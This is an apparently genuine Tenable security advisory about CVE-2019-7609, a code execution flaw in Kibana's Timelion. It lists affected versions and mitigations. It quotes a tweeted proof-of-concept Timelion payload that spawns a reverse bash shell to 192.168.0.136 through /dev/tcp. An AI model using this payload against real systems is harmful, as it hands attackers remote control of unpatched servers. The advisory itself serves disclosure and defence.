CVE-2019-7609：針對 Kibana Remote Code Execution Vulnerability 的攻擊指令碼已可取得
An exploit script for the previously patched Kibana vulnerability is now available on GitHub.
背景說明
On October 21, an exploit script was published to GitHub for a patched vulnerability in Kibana, the open-source data visualization plugin for Elasticsearch. Elasticsearch and Kibana are part of the popular Elastic Stack (also known as ELK Stack), a series of open-source applications used for centralized log management.
分析
CVE-2019-7609 is an arbitrary code execution vulnerability in Kibana’s Timelion visualizer. The vulnerability was patched in February 2019.
According to Elastic’s advisory for the flaw, an attacker capable of accessing the Timelion application “could send a request that will attempt to execute javascript code” that could result in the attacker executing arbitrary commands on the host under the same permissions as the vulnerable Kibana process.
On October 14, Michał Bentkowski, a security researcher at Securitum, presented a talk at OWASP Poland Day about Prototype Pollution. Bentkowski’s slides from the presentation were published to slides.com, and include his research on CVE-2019-7609, along with proof-of-concept (PoC) code exploiting the vulnerability.
On October 16, Alibaba Cloud security researcher Henry Chen tweeted out the PoC from Bentkowski’s slides:
POC: kibana < 6.6.0
— Henry Chen (@chybeta) October 16, 2019
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')https://t.co/hK9MpwIPaD pic.twitter.com/Oqcu52oKgs
Bentkowski’s research became the basis for the exploit script published earlier this week. The exploit script is designed to identify whether or not a target version of Kibana is vulnerable. If vulnerable, the exploit script will attempt to create a reverse shell on the vulnerable host.
The following table contains information about the vulnerable versions of Kibana based on the information in the Elastic advisory.
|
Kibana Versions |
Status |
|
3.0 through 5.6.14 |
Vulnerable |
|
6.0.0 through 6.6.0 |
Vulnerable |
|
5.6.15 |
Not Vulnerable |
|
6.6.1 and above |
Not Vulnerable |
A BinaryEdge search reveals more than 4,200 publicly accessible Kibana instances. The most prominent versions of Kibana are vulnerable versions, such as 6.2.4, 6.3.2 and 6.3.1.
概念驗證
As mentioned, a PoC was published in a slide deck from security researcher Michał Bentkowski and included as part of the exploit script published to GitHub.
解決方法
Administrators and users of the Elastic Stack (or ELK Stack) should upgrade to Kibana versions 5.6.15 or 6.6.1 and above. However, if upgrading is not feasible at this time, modify the kibana.yml configuration file to disable Timelion by setting timelion.enabled to false.
找出受影響的系統
A list of Tenable plugins to identify this vulnerability can be found here.
Get more information
- Elastic Stack Advisory (February 2019)
- Slides: Prototype Pollution in Kibana
- Exploit Script for CVE-2019-7609
加入 Tenable Community 的 Tenable 安全回應團隊。
Learn more about Tenable, the first Cyber Exposure platform for holistic management of your modern attack surface. Get a free 60-day trial of Tenable.io Vulnerability Management.
相關文章
Operational Technology in the DoD: Ensuring a Secure and Efficient Power Grid
April 19, 2024In an evolving threat landscape, the DoD must make sure that its mission-critical operations don’t experience power outages.
Strengthening the Nessus Software Supply Chain with SLSA
April 16, 2024You know Tenable as a cybersecurity industry leader whose world-class exposure management products are trusted by our approximately 43,000 customers, including about 60% of the Fortune 500. But sometimes we like to give you a peek behind the curtain to share how we protect our own house against cyberattacks – and that’s what this blog is about. Today we’re sharing our experience adopting the supply-chain security framework SLSA, with the hopes that the lessons we learned will be helpful to you.
Cybersecurity Snapshot: CISA Says Midnight Blizzard Swiped U.S. Gov’t Emails During Microsoft Hack, Tells Fed Agencies To Take Immediate Action
April 12, 2024Check out CISA’s urgent call for federal agencies to protect themselves from Midnight Blizzard’s breach of Microsoft corporate emails. Plus, a new survey shows cybersecurity pros are guardedly optimistic about AI. Meanwhile, SANS pinpoints the four trends CISOs absolutely must focus on this year. And the NSA is sharing best practices for data security. And much more!
CVE-2024-4040: CrushFTP Virtual File System (VFS) Sandbox Escape Vulnerability Exploited
April 23, 2024A zero-day vulnerability in CrushFTP was exploited in the wild against multiple U.S. entities prior to fixed versions becoming available as the vendor recommends customers upgrade as soon as possible.
Operational Technology in the DoD: Ensuring a Secure and Efficient Power Grid
April 19, 2024In an evolving threat landscape, the DoD must make sure that its mission-critical operations don’t experience power outages.
Cybersecurity Snapshot: Cyber Agencies Offer Secure AI Tips, while Stanford Issues In-Depth AI Trends Analysis, Including of AI Security
April 19, 2024Check out recommendations for securing AI systems from the Five Eyes cybersecurity agencies. Plus, Stanford University offers a comprehensive review of AI trends. Meanwhile, a new open-source tool aims to simplify SBOM usage. And don’t miss the latest CIS Benchmarks updates. And much more!
- Vulnerability Management